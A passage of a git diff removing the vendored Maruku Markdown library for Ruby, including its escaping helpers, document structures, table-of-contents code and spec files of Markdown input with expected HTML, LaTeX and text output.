-    MARUKU_HTML_ESCAPE = {
-      '&' => '&amp;',
-      '<' => '&lt;',
-      '>' => '&gt;',
-      "'" => '&#39;',
-      '"' => '&quot;',
-    }
-    MARUKU_HTML_ESCAPE_PATTERN = Regexp.union(*MARUKU_HTML_ESCAPE.keys)
-#++
-
-    # HTML-escapes a string.
-    #
-    # @param str [String]
-    # @return [String]
-    
-    def html_escape(string)
-      string.gsub(MARUKU_HTML_ESCAPE_PATTERN){|m| MARUKU_HTML_ESCAPE[m]}
-    end
-
-    # Escapes a string so that it can be safely used in a Bourne shell command line.
-    #
-    # Note that a resulted string should be used unquoted
-    # and is not intended for use in double quotes nor in single quotes.
-    #
-    # This is a copy of the Shellwords.shellescape function in Ruby 1.8.7.
-    # It's included for Ruby 1.8.6 compatibility.
-    #
-    # @param str [String]
-    # @return [String]
-    def shellescape(str)
-      # An empty argument will be skipped, so return empty quotes.
-      return "''" if str.empty?
-
-      str = str.dup
-
-      # Process as a single byte sequence because not all shell
-      # implementations are multibyte aware.
-      str.gsub!(/([^A-Za-z0-9_\-.,:\/@\n])/n, "\\\\\\1")
-
-      # A LF cannot be escaped with a backslash because a backslash + LF
-      # combo is regarded as line continuation and simply ignored.
-      str.gsub!(/\n/, "'\n'")
-
-      return str
-    end
-
-    private
-
-    # Normalize the key/value pairs for email headers.
-    # Keys are downcased and converted to symbols;
-    # spaces become underscores.
-    #
-    # Values of `"yes"`, `"true"`, `"no"`, and `"false"`
-    # are converted to appropriate booleans.
-    #
-    # @param k [String]
-    # @param v [String]
-    # @return [Array(String, String or Boolean)]
-    def normalize_key_and_value(k, v)
-      k = k.strip.downcase.gsub(/\s+/, '_')
-      v = v.strip
-
-      # check synonyms
-      return k, true if %w[yes true].include?(v.downcase)
-      return k, false if %w[no false].include?(v.downcase)
-      return k, v
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/structures.rb b/vendor/plugins/maruku/lib/maruku/structures.rb
deleted file mode 100644
index 3920b772..00000000
--- a/vendor/plugins/maruku/lib/maruku/structures.rb
+++ /dev/null
@@ -1,143 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-  # Rather than having a separate class for every possible element,
-  # Maruku has a single {MDElement} class
-  # that represents eveything in the document (paragraphs, headers, etc).
-  # The type of each element is available via \{#node\_type}.
-  class MDElement
-    # The type of this node (e.g. `:quote`, `:image`, `:abbr`).
-    # See {Helpers} for a list of possible values.
-    #
-    # @return [Symbol]
-    attr_accessor :node_type
-
-    # The child nodes of this element.
-    #
-    # @return [Array<String or MDElement>]
-    attr_accessor :children
-
-    # An attribute list. May not be nil.
-    #
-    # @return [AttributeList]
-    attr_accessor :al
-
-    # The processed attributes.
-    #
-    # For the {Maruku document root},
-    # this contains properties listed
-    # at the beginning of the document.
-    # The properties will be downcased and any spaces
-    # will be converted to underscores.
-    # For example, if you write in the source document:
-    #
-    #     !!!text
-    #     Title: test document
-    #     My property: value
-    #
-    #     content content
-    #
-    # Then \{#attributes} will return:
-    #
-    #     {:title => "test document", :my_property => "value"}
-    #
-    # @return [{Symbol => String}]
-    attr_accessor :attributes
-
-    # The root element of the document
-    # to which this element belongs.
-    #
-    # @return [Maruku]
-    attr_accessor :doc
-
-    def initialize(node_type = :unset, children = [], meta = {}, al = nil)
-      self.children = children
-      self.node_type = node_type
-      self.attributes = {}
-
-      meta.each do |symbol, value|
-        self.instance_eval <<RUBY
-          def #{symbol}; @#{symbol}; end
-          def #{symbol}=(val); @#{symbol} = val; end
-RUBY
-        self.send "#{symbol}=", value
-      end
-
-      self.al = al || AttributeList.new
-      self.meta_priv = meta
-    end
-
-    # @private
-    attr_accessor :meta_priv
-
-    def ==(o)
-      o.is_a?(MDElement) &&
-        self.node_type == o.node_type &&
-        self.meta_priv == o.meta_priv &&
-        self.children == o.children
-    end
-  end
-
-  # This represents the whole document and holds global data.
-  class MDDocument
-    # @return [{String => {:url => String, :title => String}}]
-    attr_accessor :refs
-
-    # @return [{String => MDElement}]
-    attr_accessor :footnotes
-
-    # @return [{String => String}]
-    attr_accessor :abbreviations
-
-    # Attribute definition lists.
-    #
-    # @return [{String => AttributeList}]
-    attr_accessor :ald
-
-    # The order in which footnotes are used. Contains the id.
-    #
-    # @return [Array<String>]
-    attr_accessor :footnotes_order
-
-    # @return [Array<String>]
-    attr_accessor :latex_required_packages
-
-    # @return [{String => {String => MDElement}}]
-    attr_accessor :refid2ref
-
-    # A counter for generating unique IDs [Integer]
-    attr_accessor :id_counter
-
-    def initialize(s=nil)
-      super(:document)
-
-      self.doc = self
-      self.refs = {}
-      self.footnotes = {}
-      self.footnotes_order = []
-      self.abbreviations = {}
-      self.ald = {}
-      self.latex_required_packages = []
-      self.id_counter = 0
-
-      parse_doc(s) if s
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/structures_inspect.rb b/vendor/plugins/maruku/lib/maruku/structures_inspect.rb
deleted file mode 100644
index 8959dd77..00000000
--- a/vendor/plugins/maruku/lib/maruku/structures_inspect.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-  class MDElement
-    def inspect(compact=true)
-      if compact
-        i2 = inspect2
-        return i2 if i2
-      end
-
-      # Make sure the attributes are lexically ordered
-      meta_ordered = "{" + @meta_priv.keys.
-        map {|x| x.to_s}.sort.map {|x| x.to_sym}.
-        map {|k| k.inspect + "=>" + @meta_priv[k].inspect}.
-        join(',') + "}"
-
-      "md_el(%s,%s,%s,%s)" % [
-        self.node_type.inspect,
-        children_inspect(compact),
-        meta_ordered,
-        self.al.inspect
-      ]
-    end
-
-    def children_inspect(compact=true)
-      kids = @children.map {|x| x.is_a?(MDElement) ? x.inspect(compact) : x.inspect}
-      comma = kids.join(", ")
-
-      return "[#{comma}]" if comma.size < 70
-      "[\n\t#{kids.join(",\n\t")}\n]"
-    end
-
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/structures_iterators.rb b/vendor/plugins/maruku/lib/maruku/structures_iterators.rb
deleted file mode 100644
index cc5c769c..00000000
--- a/vendor/plugins/maruku/lib/maruku/structures_iterators.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-  class MDElement
-    # Iterates through each {MDElement} child node of this element.
-    # This includes deeply-nested child nodes.
-    # If `e_node_type` is specified, only yields nodes of that type.
-    def each_element(e_node_type=nil, &block)
-      @children.each do |c|
-        next unless c.is_a? MDElement
-        yield c if e_node_type.nil? || c.node_type == e_node_type
-        c.each_element(e_node_type, &block)
-      end
-    end
-
-    # Iterates through each String child node of this element,
-    # replacing it with the result of the block.
-    # This includes deeply-nested child nodes.
-    #
-    # This destructively modifies this node and its children.
-    #
-    # @todo Make this non-destructive
-    def replace_each_string(&block)
-      @children.map! do |c|
-        next yield c unless c.is_a?(MDElement)
-        c.replace_each_string(&block)
-        c
-      end.flatten!
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/textile2.rb b/vendor/plugins/maruku/lib/maruku/textile2.rb
deleted file mode 100644
index 8f6d52e1..00000000
--- a/vendor/plugins/maruku/lib/maruku/textile2.rb
+++ /dev/null
@@ -1 +0,0 @@
-require 'maruku/input_textile2/t2_parser'
\ No newline at end of file
diff --git a/vendor/plugins/maruku/lib/maruku/toc.rb b/vendor/plugins/maruku/lib/maruku/toc.rb
deleted file mode 100644
index f727db97..00000000
--- a/vendor/plugins/maruku/lib/maruku/toc.rb
+++ /dev/null
@@ -1,216 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-require 'nokogiri'
-
-module MaRuKu
-  # A section in the table of contents of a document.
-  class Section
-    # The depth of the section (0 for toplevel).
-    #
-    # Equivalent to `header_element.level`.
-    #
-    # @return [Fixnum]
-    attr_accessor :section_level
-
-    # The nested section number, e.g. `[1, 2, 5]` for Section 1.2.5.
-    #
-    # @return [Array<Fixnum>]
-    attr_accessor :section_number
-
-    # The `:header` node for this section.
-    # The value of `meta[:section]` for the header will be this node.
-    #
-    # @return [MDElement]
-    attr_accessor :header_element
-
-    # The immediate child nodes of this section.
-    #
-    # @todo Why does this never contain Strings?
-    #
-    # @return [Array<MDElement>]
-    attr_accessor :immediate_children
-
-    # The subsections of this section.
-    #
-    # @return [Array<Section>]
-    attr_accessor :section_children
-
-    def initialize
-      @immediate_children = []
-      @section_children = []
-    end
-
-    def inspect(indent = 1)
-      s = ""
-
-      if @header_element
-        s << "\_" * indent <<
-          "(#{@section_level})>\t #{@section_number.join('.')} : " <<
-          @header_element.children_to_s <<
-          " (id: '#{@header_element.attributes[:id]}')\n"
-      else
-        s << "Master\n"
-      end
-      @section_children.each {|c| s << c.inspect(indent+1)}
-
-      s
-    end
-
-    # Assign \{#section\_number section numbers}
-    # to this section and its children.
-    # This also assigns the section number attribute
-    # to the sections' headers.
-    #
-    # This should only be called on the root section.
-    #
-    # @overload def numerate
-    def numerate(a = [])
-      self.section_number = a
-      section_children.each_with_index {|c, i| c.numerate(a + [i + 1])}
-      if h = self.header_element
-        h.attributes[:section_number] = self.section_number
-      end
-    end
-
-
-    # Returns an HTML representation of the table of contents.
-    #
-    # This should only be called on the root section.
-    def to_html
-      d = Nokogiri::XML::Document.new
-      div = Nokogiri::XML::Element.new('div', d)
-      div['class'] = 'maruku_toc'
-      div << _to_html
-      div
-    end
-
-    # Returns a LaTeX representation of the table of contents.
-    #
-    # This should only be called on the root section.
-    def to_latex
-      _to_latex + "\n\n"
-    end
-
-    protected
-
-    def _to_html
-      d = Nokogiri::XML::Document.new
-      ul = Nokogiri::XML::Element.new('ul', d)
-      # let's remove the bullets
-      ul['style'] = 'list-style: none;'
-      @section_children.each do |c|
-        li = Nokogiri::XML::Element.new('li', d)
-        if span = c.header_element.render_section_number
-          li << span
-        end
-
-        a = c.header_element.wrap_as_element('a')
-        a.delete('id')
-        a['href'] = "##{c.header_element.attributes[:id]}"
-
-        li << a
-        li << c._to_html if c.section_children.size > 0
-        ul << li
-      end
-      ul
-    end
-
-    def _to_latex
-      s = ""
-      @section_children.each do |c|
-        s << "\\noindent"
-        if number = c.header_element.section_number
-          s << number
-        end
-        id = c.header_element.attributes[:id]
-        text = c.header_element.children_to_latex
-        s << "\\hyperlink{#{id}}{#{text}}"
-        s << "\\dotfill \\pageref*{#{id}} \\linebreak\n"
-        s << c._to_latex if c.section_children.size > 0
-      end
-      s
-    end
-  end
-
-  class MDDocument
-    # The table of contents for the document.
-    #
-    # @return [Section]
-    attr_accessor :toc
-
-    def create_toc
-      each_element(:header) {|h| h.attributes[:id] ||= h.generate_id}
-
-      stack = []
-
-      # The root section
-      s = Section.new
-      s.section_level = 0
-
-      stack.push s
-
-      # TODO: Clean up the logic here once we have better tests
-      i = 0
-      while i < @children.size
-        while i < @children.size
-          if @children[i].node_type == :header
-            level = @children[i].level
-            break if level <= stack.last.section_level + 1
-          end
-
-          stack.last.immediate_children.push @children[i]
-          i += 1
-        end
-
-        break if i >= @children.size
-
-        header = @children[i]
-        level = header.level
-
-        if level > stack.last.section_level
-          # this level is inside
-
-          s2 = Section.new
-          s2.section_level = level
-          s2.header_element = header
-          header.instance_variable_set :@section, s2
-
-          stack.last.section_children.push s2
-          stack.push s2
-
-          i += 1
-        elsif level == stack.last.section_level
-          # this level is a sibling
-          stack.pop
-        else
-          # this level is a parent
-          stack.pop
-        end
-      end
-
-      # If there is only one big header, then assume it is the master
-      s = s.section_children.first if s.section_children.size == 1
-
-      # Assign section numbers
-      s.numerate
-
-      s
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/usage/example1.rb b/vendor/plugins/maruku/lib/maruku/usage/example1.rb
deleted file mode 100644
index 2c20a6fe..00000000
--- a/vendor/plugins/maruku/lib/maruku/usage/example1.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-require 'maruku'
-
-text = <<EOF
-Chapter 1
-=========
-
-It was a stormy and rainy night.
-
-EOF
-
-invalid = <<EOF
-
-This is a [bad link.
-
-EOF
-
-Maruku.new(text).to_html
-
-s = ""
-
-begin 
-	Maruku.new(invalid, {:on_error => :raise, :error_stream => s})
-	puts "Error! It should have thrown an exception."
-rescue
-	# puts "ok, got error"
-end
-
-begin 
-	Maruku.new(invalid, {:on_error => :warning, :error_stream => s})
-rescue
-	puts "Error! It should not have thrown an exception."
-end
-
diff --git a/vendor/plugins/maruku/lib/maruku/version.rb b/vendor/plugins/maruku/lib/maruku/version.rb
deleted file mode 100644
index 43e3c7e7..00000000
--- a/vendor/plugins/maruku/lib/maruku/version.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-  # The Maruku version.
-  VERSION = '0.6.0'
-
-  # @deprecated Exists for backwards compatibility. Use {VERSION}
-  # @private
-  Version = VERSION
-
-  # The URL of the Maruku website.
-  MARUKU_URL = 'http://maruku.rubyforge.org/'
-
-  # @deprecated Exists for backwards compatibility. Use {MARUKU_URL}
-  # @private
-  MarukuURL = MARUKU_URL
-
-  # Whether Markdown implements the PHP Markdown extra syntax.
-  #
-  # Note: it is not guaranteed that if this is false,
-  # then no special features will be used.
-  #
-  # @return [Boolean]
-  def markdown_extra?
-    true
-  end
-
-  # Whether Markdown implements the new meta-data proposal.
-  #
-  # Note: it is not guaranteed that if this is false,
-  # then no special features will be used.
-  #
-  # @return [Boolean]
-  def new_meta_data?
-    true
-  end
-end
diff --git a/vendor/plugins/maruku/miscs/bug.rb b/vendor/plugins/maruku/miscs/bug.rb
deleted file mode 100644
index d0d32e8c..00000000
--- a/vendor/plugins/maruku/miscs/bug.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-puts [].each do end   # ok (equiv. to "puts nil")
-[1].each do end       # ok
-puts [1].each do end  # 3:in `each': no block given (LocalJumpError)
diff --git a/vendor/plugins/maruku/miscs/test.rb b/vendor/plugins/maruku/miscs/test.rb
deleted file mode 100644
index eb0be934..00000000
--- a/vendor/plugins/maruku/miscs/test.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-
-n=100
-$buffer = "blah "*n+"boh"+"beh"*n
-$index = n*5
-
-def fun1(reg)
-	r2 = /^.{#{$index}}#{reg}/
-	r2.match($buffer)
-end
-
-def fun2(reg)
-	reg.match($buffer[$index, $buffer.size-$index])
-end
-
-r = /\w*/
-a = Time.now
-1000.times do 
-	fun1(r)
-end
-
-b = Time.now
-1000.times do 
-	fun2(r)
-end
-
-c = Time.now
-
-puts "fun1: #{b-a} sec"
-puts "fun2: #{c-b} sec"
\ No newline at end of file
diff --git a/vendor/plugins/maruku/spec/block_docs/abbreviations.md b/vendor/plugins/maruku/spec/block_docs/abbreviations.md
deleted file mode 100644
index cef39e2e..00000000
--- a/vendor/plugins/maruku/spec/block_docs/abbreviations.md
+++ /dev/null
@@ -1,55 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-The HTML specification is maintained by the W3C. The W3C is headquartered in Geneva.
-
-*[HTML]: Hyper Text Markup Language
-*[W3C]:  World Wide Web Consortium
-
-
-
-Operation Tigra Genesis is going well.
-
-*[Tigra Genesis]:
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"The ",
-		md_el(:abbr,["HTML"],{:title=>"Hyper Text Markup Language"},[]),
-		" specification is maintained by the ",
-		md_el(:abbr,["W3C"],{:title=>"World Wide Web Consortium"},[]),
-		". The ",
-		md_el(:abbr,["W3C"],{:title=>"World Wide Web Consortium"},[]),
-		" is headquartered in Geneva."
-	]),
-	md_el(:abbr_def,[],{:abbr=>"HTML",:text=>"Hyper Text Markup Language"},[]),
-	md_el(:abbr_def,[],{:abbr=>"W3C",:text=>"World Wide Web Consortium"},[]),
-	md_par([
-		"Operation ",
-		md_el(:abbr,["Tigra Genesis"],{:title=>nil},[]),
-		" is going well."
-	]),
-	md_el(:abbr_def,[],{:abbr=>"Tigra Genesis",:text=>nil},[])
-],{},[])
-*** Output of to_html ***
-<p>The <abbr title="Hyper Text Markup Language">HTML</abbr> specification is maintained by the <abbr title="World Wide Web Consortium">W3C</abbr>. The <abbr title="World Wide Web Consortium">W3C</abbr> is headquartered in Geneva.</p>
-
-<p>Operation <abbr>Tigra Genesis</abbr> is going well.</p>
-*** Output of to_latex ***
-The HTML specification is maintained by the W3C. The W3C is headquartered in Geneva.
-
-Operation Tigra Genesis is going well.
-*** Output of to_md ***
-The HTML specification is maintained by
-the W3C. The W3C is headquartered in
-Geneva.
-
-*[HTML]: Hyper Text Markup Language
-*[W3C]: World Wide Web Consortium
-Operation Tigra Genesis is going well.
-
-*[Tigra Genesis]:
-*** Output of to_s ***
-The HTML specification is maintained by the W3C. The W3C is headquartered in Geneva.Operation Tigra Genesis is going well.
diff --git a/vendor/plugins/maruku/spec/block_docs/alt.md b/vendor/plugins/maruku/spec/block_docs/alt.md
deleted file mode 100644
index 0314d6ed..00000000
--- a/vendor/plugins/maruku/spec/block_docs/alt.md
+++ /dev/null
@@ -1,17 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
- ![bar](/foo.jpg)
-
-
-*** Output of inspect ***
-md_el(:document,[md_par([md_im_image(["bar"], "/foo.jpg", nil)])],{},[])
-*** Output of to_html ***
-<p><img src="/foo.jpg" alt="bar" /></p>
-*** Output of to_latex ***
-
-*** Output of to_md ***
-![bar](/foo.jpg)
-*** Output of to_s ***
-bar
diff --git a/vendor/plugins/maruku/spec/block_docs/attributes/att2.md b/vendor/plugins/maruku/spec/block_docs/attributes/att2.md
deleted file mode 100644
index 4018a785..00000000
--- a/vendor/plugins/maruku/spec/block_docs/attributes/att2.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-*** Parameters: ***
-{}
-*** Markdown input: ***
-{a}: a
-{:b: a}
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ald,[],{:ald=>[[:ref, "a"]],:ald_id=>"a"},[]),
-	md_el(:ald,[],{:ald=>[[:ref, "a"]],:ald_id=>"b"},[])
-],{},[])
-*** Output of to_html ***
-
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/attributes/att3.md b/vendor/plugins/maruku/spec/block_docs/attributes/att3.md
deleted file mode 100644
index 586a7578..00000000
--- a/vendor/plugins/maruku/spec/block_docs/attributes/att3.md
+++ /dev/null
@@ -1,28 +0,0 @@
-IALs can refer to element before or after.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph1
-{:#par1}
-
-{:#par2}
-Paragraph2
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph1"], [[:id, "par1"]]),
-	md_par(["Paragraph2"], [[:id, "par2"]])
-],{},[])
-*** Output of to_html ***
-<p id="par1">Paragraph1</p>
-
-<p id="par2">Paragraph2</p>
-*** Output of to_latex ***
-Paragraph1
-
-Paragraph2
-*** Output of to_md ***
-Paragraph1
-
-Paragraph2
-*** Output of to_s ***
-Paragraph1Paragraph2
diff --git a/vendor/plugins/maruku/spec/block_docs/attributes/attributes.md b/vendor/plugins/maruku/spec/block_docs/attributes/attributes.md
deleted file mode 100644
index 34392d64..00000000
--- a/vendor/plugins/maruku/spec/block_docs/attributes/attributes.md
+++ /dev/null
@@ -1,65 +0,0 @@
-This is a simple test for attributes
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-Header with attributes	{#header1}	
-----------------------
-
-### Header with attributes ###	{#header2}	
-
-### Header no attributes ###
-
-{:warn2}Paragraph with a.
-{#par1}
-
-Paragraph with *emphasis*{:hello notfound}
-   {#par2}
-
-{:hello: .chello}
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:header,["Header with attributes"],{:level=>2},[[:id, "header1"]]),
-	md_el(:header,["Header with attributes"],{:level=>3},[[:id, "header2"]]),
-	md_el(:header,["Header no attributes"],{:level=>3},[]),
-	md_par(["Paragraph with a."], [[:id, "par1"]]),
-	md_par([
-		"Paragraph with ",
-		md_em(["emphasis"], [[:ref, "hello"], [:ref, "notfound"]])
-	], [[:id, "par2"]]),
-	md_el(:ald,[],{:ald=>[[:class, "chello"]],:ald_id=>"hello"},[])
-],{},[])
-*** Output of to_html ***
-<h2 id="header1">Header with attributes</h2>
-
-<h3 id="header2">Header with attributes</h3>
-
-<h3 id="header_no_attributes_3">Header no attributes</h3>
-
-<p id="par1">Paragraph with a.</p>
-
-<p id="par2">Paragraph with <em class="chello">emphasis</em></p>
-*** Output of to_latex ***
-\hypertarget{header1}{}\subsection*{{Header with attributes}}\label{header1}
-
-\hypertarget{header2}{}\subsubsection*{{Header with attributes}}\label{header2}
-
-\hypertarget{header_no_attributes_3}{}\subsubsection*{{Header no attributes}}\label{header_no_attributes_3}
-
-Paragraph with a.
-
-Paragraph with \emph{emphasis}
-*** Output of to_md ***
-
-## Header with attributes ##
-
-### Header with attributes ###
-
-### Header no attributes ###
-
-Paragraph with a.
-
-Paragraph with *emphasis*
-
-*** Output of to_s ***
-Header with attributesHeader with attributesHeader no attributesParagraph with a.Paragraph with emphasis
diff --git a/vendor/plugins/maruku/spec/block_docs/attributes/circular.md b/vendor/plugins/maruku/spec/block_docs/attributes/circular.md
deleted file mode 100644
index de952295..00000000
--- a/vendor/plugins/maruku/spec/block_docs/attributes/circular.md
+++ /dev/null
@@ -1,26 +0,0 @@
-
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-Paragraph
-{:a}
-
-
-{:a: b}
-{:b: a}
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph"], [[:ref, "a"]]),
-	md_el(:ald,[],{:ald=>[[:ref, "b"]],:ald_id=>"a"},[]),
-	md_el(:ald,[],{:ald=>[[:ref, "a"]],:ald_id=>"b"},[])
-],{},[])
-*** Output of to_html ***
-<p>Paragraph</p>
-*** Output of to_latex ***
-Paragraph
-*** Output of to_md ***
-Paragraph
-*** Output of to_s ***
-Paragraph
diff --git a/vendor/plugins/maruku/spec/block_docs/attributes/default.md b/vendor/plugins/maruku/spec/block_docs/attributes/default.md
deleted file mode 100644
index 29477f32..00000000
--- a/vendor/plugins/maruku/spec/block_docs/attributes/default.md
+++ /dev/null
@@ -1,22 +0,0 @@
-This shows the use of default attributes list.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph2 
-{#2}
-
-{paragraph}: .maruku-par
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph2"], [[:id, "2"]]),
-	md_el(:ald,[],{:ald=>[[:class, "maruku-par"]],:ald_id=>"paragraph"},[])
-],{},[])
-*** Output of to_html ***
-<p id="2" class="maruku-par">Paragraph2</p>
-*** Output of to_latex ***
-Paragraph2
-*** Output of to_md ***
-Paragraph2
-*** Output of to_s ***
-Paragraph2
diff --git a/vendor/plugins/maruku/spec/block_docs/blank.md b/vendor/plugins/maruku/spec/block_docs/blank.md
deleted file mode 100644
index 6b0433d2..00000000
--- a/vendor/plugins/maruku/spec/block_docs/blank.md
+++ /dev/null
@@ -1,24 +0,0 @@
-Write a comment about the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-Linea 1
-
-Linea 2
-*** Output of inspect ***
-md_el(:document,[md_par(["Linea 1"]), md_par(["Linea 2"])],{},[])
-*** Output of to_html ***
-<p>Linea 1</p>
-
-<p>Linea 2</p>
-*** Output of to_latex ***
-Linea 1
-
-Linea 2
-*** Output of to_md ***
-Linea 1
-
-Linea 2
-*** Output of to_s ***
-Linea 1Linea 2
diff --git a/vendor/plugins/maruku/spec/block_docs/blanks_in_code.md b/vendor/plugins/maruku/spec/block_docs/blanks_in_code.md
deleted file mode 100644
index 78fce225..00000000
--- a/vendor/plugins/maruku/spec/block_docs/blanks_in_code.md
+++ /dev/null
@@ -1,88 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-This block is composed of three lines:
-
-	one
-	
-	three
-
-This block is composed of 5
-
-	
-	one
-	
-	
-	four
-	
-
-This block is composed of 2
-
-	 
-	two
-
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["This block is composed of three lines:"]),
-	md_el(:code,[],{:raw_code=>"one\n\nthree"},[]),
-	md_par(["This block is composed of 5"]),
-	md_el(:code,[],{:raw_code=>"one\n\n\nfour"},[]),
-	md_par(["This block is composed of 2"]),
-	md_el(:code,[],{:raw_code=>"two"},[])
-],{},[])
-*** Output of to_html ***
-<p>This block is composed of three lines:</p>
-
-<pre><code>one
-
-three</code></pre>
-
-<p>This block is composed of 5</p>
-
-<pre><code>one
-
-
-four</code></pre>
-
-<p>This block is composed of 2</p>
-
-<pre><code>two</code></pre>
-*** Output of to_latex ***
-This block is composed of three lines:
-
-\begin{verbatim}one
-
-three\end{verbatim}
-This block is composed of 5
-
-\begin{verbatim}one
-
-
-four\end{verbatim}
-This block is composed of 2
-
-\begin{verbatim}two\end{verbatim}
-*** Output of to_md ***
-This block is composed of three lines:
-
-     one
-     
-     three
-
-This block is composed of 5
-
-     one
-     
-     
-     four
-
-This block is composed of 2
-
-     two
-     
-
-*** Output of to_s ***
-This block is composed of three lines:This block is composed of 5This block is composed of 2
diff --git a/vendor/plugins/maruku/spec/block_docs/bug_def.md b/vendor/plugins/maruku/spec/block_docs/bug_def.md
deleted file mode 100644
index f4273556..00000000
--- a/vendor/plugins/maruku/spec/block_docs/bug_def.md
+++ /dev/null
@@ -1,16 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-[test][]:
-
-*** Output of inspect ***
-md_el(:document,[md_par([md_link(["test"],"test"), ":"])],{},[])
-*** Output of to_html ***
-<p><span>test</span>:</p>
-*** Output of to_latex ***
-test:
-*** Output of to_md ***
-[test][]:
-*** Output of to_s ***
-test:
diff --git a/vendor/plugins/maruku/spec/block_docs/bug_table.md b/vendor/plugins/maruku/spec/block_docs/bug_table.md
deleted file mode 100644
index ca6c6441..00000000
--- a/vendor/plugins/maruku/spec/block_docs/bug_table.md
+++ /dev/null
@@ -1,46 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-
-
-hello
-{: summary="Table summary" .class1 style="color:red"}
-
-h         | h
-----------|--
-{:t}  c1  | c2
-{: summary="Table summary" .class1 style="color:red"}
-
-
-
-{:t: scope="row"}
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["hello"], [["summary", "Table summary"], [:class, "class1"], ["style", "color:red"]]),
-	md_el(:table,[
-		md_el(:head_cell,["h"],{},[]),
